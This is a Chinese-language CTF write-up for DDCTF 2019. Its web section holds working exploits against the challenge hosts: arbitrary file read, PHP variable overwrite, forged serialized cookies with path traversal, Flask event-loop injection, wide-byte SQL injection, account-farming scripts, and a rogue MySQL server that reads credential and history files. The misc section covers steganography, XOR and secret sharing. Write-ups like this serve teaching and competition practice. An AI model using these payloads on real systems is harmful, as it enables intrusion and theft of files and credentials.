DDCTF 2019 部分WP

WEB

滴~

http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

观察链接可发现jpg的值是文件名转hex再base64编码两次得到,由此得到任意文件读取漏洞

读取index.php

http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

DDCTF 2019 部分WP

将源码中的base解码得到源码

DDCTF 2019 部分WP

备注是提示,访问该博客该日期的文章,得到提示 .practice.txt.swp,最后发现flag文件

DDCTF 2019 部分WP

结合index.php的逻辑

将f1agconfigddctf.php转为hex字符串,base64编码两次,然后

http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

DDCTF 2019 部分WP

得到f1ag!ddctf.php的源码,典型变量覆盖

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=

DDCTF 2019 部分WP

 

WEB 签到题

抓包发现有个认证的接口,有个username未填值

DDCTF 2019 部分WP

尝试admin成功并给出了一个地址

DDCTF 2019 部分WP

访问发现是源代码

nickname处可注入%s带出eancrykey

DDCTF 2019 部分WP

DDCTF 2019 部分WP

得到eancrykey就可伪造Cookie,伪造成功即可造成反序列化漏洞

DDCTF 2019 部分WP

Application类可造成任意文件读取

DDCTF 2019 部分WP

这里可以双写绕过

DDCTF 2019 部分WP

这里判断了长度,猜测flag文件路径为../config/flag.txt

DDCTF 2019 部分WP

最后payload

<?php
Class Application {
var $path = '....//config/flag.txt';
}
$o=new Application();
$session=serialize($o);
echo urlencode($session.md5("EzblrbNS".$session));

DDCTF 2019 部分WP

 

Upload-IMG

上传的图片会经过二次渲染,插入的多余字符就会被删除,将其渲染过的图片用010editor打开会发现是GD

DDCTF 2019 部分WP

搜索找到相关方法和脚本

https://wiki.ioin.in/soft/detail/1q

初步尝试多次未成功,后将渲染后的图片下载后再次用该脚本处理,上传,成功绕过

DDCTF 2019 部分WP

 

homebrew event loop

# -*- encoding: utf-8 -*- 
# written in python 2.7 
__author__ = 'garzon' 

from flask import Flask, session, request, Response 
import urllib 

app = Flask(__name__) 
app.secret_key = '*********************' # censored 
url_prefix = '/d5af31f66177e857' 

def FLAG(): 
    return 'FLAG_is_here_but_i_wont_show_you'  # censored 
     
def trigger_event(event): 
    session['log'].append(event) 
    if len(session['log']) > 5: session['log'] = session['log'][-5:] 
    if type(event) == type([]): 
        request.event_queue += event 
    else: 
        request.event_queue.append(event) 

def get_mid_str(haystack, prefix, postfix=None): 
    haystack = haystack[haystack.find(prefix)+len(prefix):] 
    if postfix is not None: 
        haystack = haystack[:haystack.find(postfix)] 
    return haystack 
     
class RollBackException: pass 

def execute_event_loop(): 
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
    resp = None 
    while len(request.event_queue) > 0: 
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
        request.event_queue = request.event_queue[1:] 
        if not event.startswith(('action:', 'func:')): continue 
        for c in event: 
            if c not in valid_event_chars: break 
        else: 
            is_action = event[0] == 'a' 
            action = get_mid_str(event, ':', ';') 
            args = get_mid_str(event, action+';').split('#') 
            try: 
                event_handler = eval(action + ('_handler' if is_action else '_function')) 
                ret_val = event_handler(args) 
            except RollBackException: 
                if resp is None: resp = '' 
                resp += 'ERROR! All transactions have been cancelled. <br />' 
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                session['num_items'] = request.prev_session['num_items'] 
                session['points'] = request.prev_session['points'] 
                break 
            except Exception, e: 
                if resp is None: resp = '' 
                #resp += str(e) # only for debugging 
                continue 
            if ret_val is not None: 
                if resp is None: resp = ret_val 
                else: resp += ret_val 
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
    session.modified = True 
    return resp 
     
@app.route(url_prefix+'/') 
def entry_point(): 
    querystring = urllib.unquote(request.query_string) 
    request.event_queue = [] 
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
        querystring = 'action:index;False#False' 
    if 'num_items' not in session: 
        session['num_items'] = 0 
        session['points'] = 3 
        session['log'] = [] 
    request.prev_session = dict(session) 
    trigger_event(querystring) 
    return execute_event_loop() 

# handlers/functions below -------------------------------------- 

def view_handler(args): 
    page = args[0] 
    html = '' 
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) 
    if page == 'index': 
        html += '<a href="./?action:index;True%23False">View source code</a><br />' 
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />' 
        html += '<a href="./?action:view;reset">Reset</a><br />' 
    elif page == 'shop': 
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' 
    elif page == 'reset': 
        del session['num_items'] 
        html += 'Session reset.<br />' 
    html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
    return html 

def index_handler(args): 
    bool_show_source = str(args[0]) 
    bool_download_source = str(args[1]) 
    if bool_show_source == 'True': 
     
        source = open('eventLoop.py', 'r') 
        html = '' 
        if bool_download_source != 'True': 
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' 
            html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
             
        for line in source: 
            if bool_download_source != 'True': 
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />') 
            else: 
                html += line 
        source.close() 
         
        if bool_download_source == 'True': 
            headers = {} 
            headers['Content-Type'] = 'text/plain' 
            headers['Content-Disposition'] = 'attachment; filename=serve.py' 
            return Response(html, headers=headers) 
        else: 
            return html 
    else: 
        trigger_event('action:view;index') 
         
def buy_handler(args): 
    num_items = int(args[0]) 
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) 
    session['num_items'] += num_items  
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 
     
def consume_point_function(args): 
    point_to_consume = int(args[0]) 
    if session['points'] < point_to_consume: raise RollBackException() 
    session['points'] -= point_to_consume 
     
def show_flag_function(args): 
    flag = args[0] 
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
    return 'You naughty boy! ;) <br />' 
     
def get_flag_handler(args): 
    if session['num_items'] >= 5: 
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
    trigger_event('action:view;index') 
     
if __name__ == '__main__': 
    app.run(debug=False, host='0.0.0.0') 

 

首先发现此处action可控,可注入代码,其后多余部分可用#注释

DDCTF 2019 部分WP

利用该点可调用脚本内任意带参函数,比如调用show_flag_function

DDCTF 2019 部分WP

然后看到这里,虽然不会显示flag,但trigger_event中的内容会被记录到log中,log在session中,而flask 是本地session,读取本地session就行

DDCTF 2019 部分WP

最后思路就是,想办法让自己num_items大于5后调用get_flag_handler

注意到这里买东西和扣钱的处理是分开的,直觉肯定有问题。正常处理是先buy_handler,这时是不理会points直接增加num_items的,然后马上consume_point_function,这时才比较points,points不够的话就回滚session。如果这样就必须想办法先调用buy_handler,然后调用get_flag_handler,将consume_point_function排到后面才行

DDCTF 2019 部分WP

最后利用到trigger_event函数注入event构造出自己想要调用的顺序

最终paylaod

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;5%23action:get_flag;

或者这样,只要不超过日志容量且num_items大于等于5就行

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;3%23action:buy;3%23action:get_flag;

用p神脚本解密本地session

DDCTF 2019 部分WP

 

欢迎报名DDCTF

一开始报名处存在XSS

用xss平台读取到源码后发现一个接口

DDCTF 2019 部分WP

 

测出是宽字节注入后就常规操作查数据库,查表名,列名,最后得到flag。(一开始有看到gbk编码想到是宽字节,但随手测试一条payload发现不报错就没测了,后悔!,后面实在没辙了就继续测试才发现)

http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%20%da%27%20union%20select%201,2,3,4,flag%20%20from%20ctfdb%23

DDCTF 2019 部分WP

 

大吉大利,今晚吃鸡

一开始伪造价格,发现后端按范围是分别以32位和64位处理,因为64位最大整数+1报错,32位最大整数+1报错,然而其中间的某范围数不报错。经过测试发现提交32位最大整数*2+2到100的数就可买票,比如4294967296

然后写脚本注册小号,主号提交。两个脚本这样其实比较麻烦而且费时间,但我就是懒-.-,,没有整合两个脚本,最后是第一个脚本跑了足够多的id和Tiket之后,第二个脚本提交

注册小号得到id和ticket

import requests
import re
import time

requests=requests.session()

def register(username):
    url='http://117.51.147.155:5050/ctf/api/register?name={}&password=123456789'.format(username)
    res=requests.get(url)
    return res.text

def buy():
    url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
    res=requests.get(url)
    bill_id=re.search('"bill_id":"(.*)","ticket_price',res.text).group(1)

    url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}'.format(bill_id)
    res=requests.get(url)
    return res.text

def xx(username):
    register(username)
    return buy()

f=open('acc10.txt','w')
for i in range(0,600):
    res=xx("l3yx_101_00"+str(i))
    time.sleep(3)
    print res
    f.writelines(res)
    f.flush()

主号提交

import requests
import re
import time

requests=requests.session()

def login(name,password):
    url='http://117.51.147.155:5050/ctf/api/login?name={}&password={}'.format(name,password)
    res=requests.get(url)
    return res.text

def submit(id,ticket):
    url='http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(id,ticket)
    res=requests.get(url)
    return res.text

login('lei','123456789')
f=open('acc8.txt','r')
for i in f.readlines():
    id_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(1)
    ticket_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(2)
    time.sleep(2)
    print submit(id_,ticket_)

DDCTF 2019 部分WP

 

mysql弱口令

网站功能是扫描服务器上mysql的弱口令,应该是会用弱口令来连接我的mysql服务端,想到之前见过伪造mysql服务端来攻击客户端的骚操作

https://lightless.me/archives/read-mysql-client-file.html

1.服务器启动mysql伪造脚本,由于我本机装有mysql,所以该伪造脚本端口设置在3307(网上公开脚本,非原创)

2.服务器启动agent.py

DDCTF 2019 部分WP

3.在网页填写ip和端口进行扫描

DDCTF 2019 部分WP

此时伪造服务端的脚本已成功读取/etc/passwd

DDCTF 2019 部分WP

继续读/root/.bash_history发现入口文件/home/dc2-user/ctf_web_2/app/main/views.py

DDCTF 2019 部分WP

从入口文件/home/dc2-user/ctf_web_2/app/main/views.py得到提示flag在数据库

DDCTF 2019 部分WP

尝试读取数据库文件/var/lib/mysql/security/flag.ibd无果,貌似是空的???

DDCTF 2019 部分WP

最后读取/root/.mysql_history发现flag

 DDCTF 2019 部分WP

 

MISC

北京地铁

根据Color Threshold提示测试LSB隐写,找到一串密文

DDCTF 2019 部分WP

 

观察图片,发现有两个位置颜色不同

DDCTF 2019 部分WP

 

尝试用魏公村地名为**解密成功

DDCTF 2019 部分WP

 

MulTzor

github找到分析xor的工具

https://github.com/hellman/xortool

猜测是空格最多,所以-c后面是20。脚本得出key最大可能性长度是6,并给出了可能的key

DDCTF 2019 部分WP

但发现有部分乱码,而且是每6个字符,第一个字符错误,很容易知道是脚本得出的key长度没有问题,但第一个字符错了

观察下面有DCTF{,显而易见前面那个乱码是D,所以用这个位置的密文异或上D就能得到key第一位

DDCTF 2019 部分WP

异或得到key第一位

DDCTF 2019 部分WP

 

所以最后key是\x323\xffSY\x8b

DDCTF 2019 部分WP

 

WireShark

在HTTP包中找到3张图片,分别导出字节流

DDCTF 2019 部分WP

 

前两张相似但文件大小不同,第二张体积比较大

DDCTF 2019 部分WP

 

最后一个HTTP包还发现一个图片加密隐藏信息的网站

DDCTF 2019 部分WP

需要密码和加密后的图片

DDCTF 2019 部分WP

猜测第二张图片是第一张加密过后的,第三张钥匙形状的藏有密码

最后发现钥匙图片是高度隐写,修改高度后

DDCTF 2019 部分WP

 

解密

DDCTF 2019 部分WP

 

16进制到文本字符串

DDCTF 2019 部分WP

 

 

联盟决策大会

参考以下文章

https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing

https://blog.mythsman.com/2015/10/07/2/

根据题意猜测,组织1内部需要算出一段数据zh1,组织2内部算出zh2,然后zh1和zh2一起算出z,最后z和p算出最终秘密,需要注意的是就是顺序需要多次测试,而且脚本内的_PRIME需要设置为p

最终脚本

from __future__ import division
from __future__ import print_function
import random
import functools

_PRIME = 0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
_RINT = functools.partial(random.SystemRandom().randint, 0)

def _eval_at(poly, x, prime):
    accum = 0
    for coeff in reversed(poly):
        accum *= x
        accum += coeff
        accum %= prime
    return accum

def make_random_shares(minimum, shares, prime=_PRIME):
    if minimum > shares:
        raise ValueError("pool secret would be irrecoverable")
    poly = [_RINT(prime) for i in range(minimum)]
    points = [(i, _eval_at(poly, i, prime))
              for i in range(1, shares + 1)]
    return poly[0], points

def _extended_gcd(a, b):
    x = 0
    last_x = 1
    y = 1
    last_y = 0
    while b != 0:
        quot = a // b
        a, b = b, a%b
        x, last_x = last_x - quot * x, x
        y, last_y = last_y - quot * y, y
    return last_x, last_y

def _divmod(num, den, p):
    inv, _ = _extended_gcd(den, p)
    return num * inv

def _lagrange_interpolate(x, x_s, y_s, p):
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):  # upper-case PI -- product of inputs
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []  # avoid inexact division
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
               for i in range(k)])
    return (_divmod(num, den, p) + p) % p

def recover_secret(shares, prime=_PRIME):
    if len(shares) < 2:
        raise ValueError("need at least two shares")
    x_s, y_s = zip(*shares)
    return _lagrange_interpolate(0, x_s, y_s, prime)


p=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
z1_1=0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964
z1_2=0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1
z1_4=0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7

z2_3=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525
z2_4=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62
z2_5=0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5



z1= recover_secret( [ (1,z1_1), (2,z1_2) , (4,z1_4) ] )
z2=recover_secret( [ (3,z2_3) , (4,z2_4) , (5,z2_5) ] )
z=recover_secret( [ (1,z1) , (2,z2) ] )
print( recover_secret( [ (1,p) , (0,z) ] ) )

DDCTF 2019 部分WP

DDCTF 2019 部分WP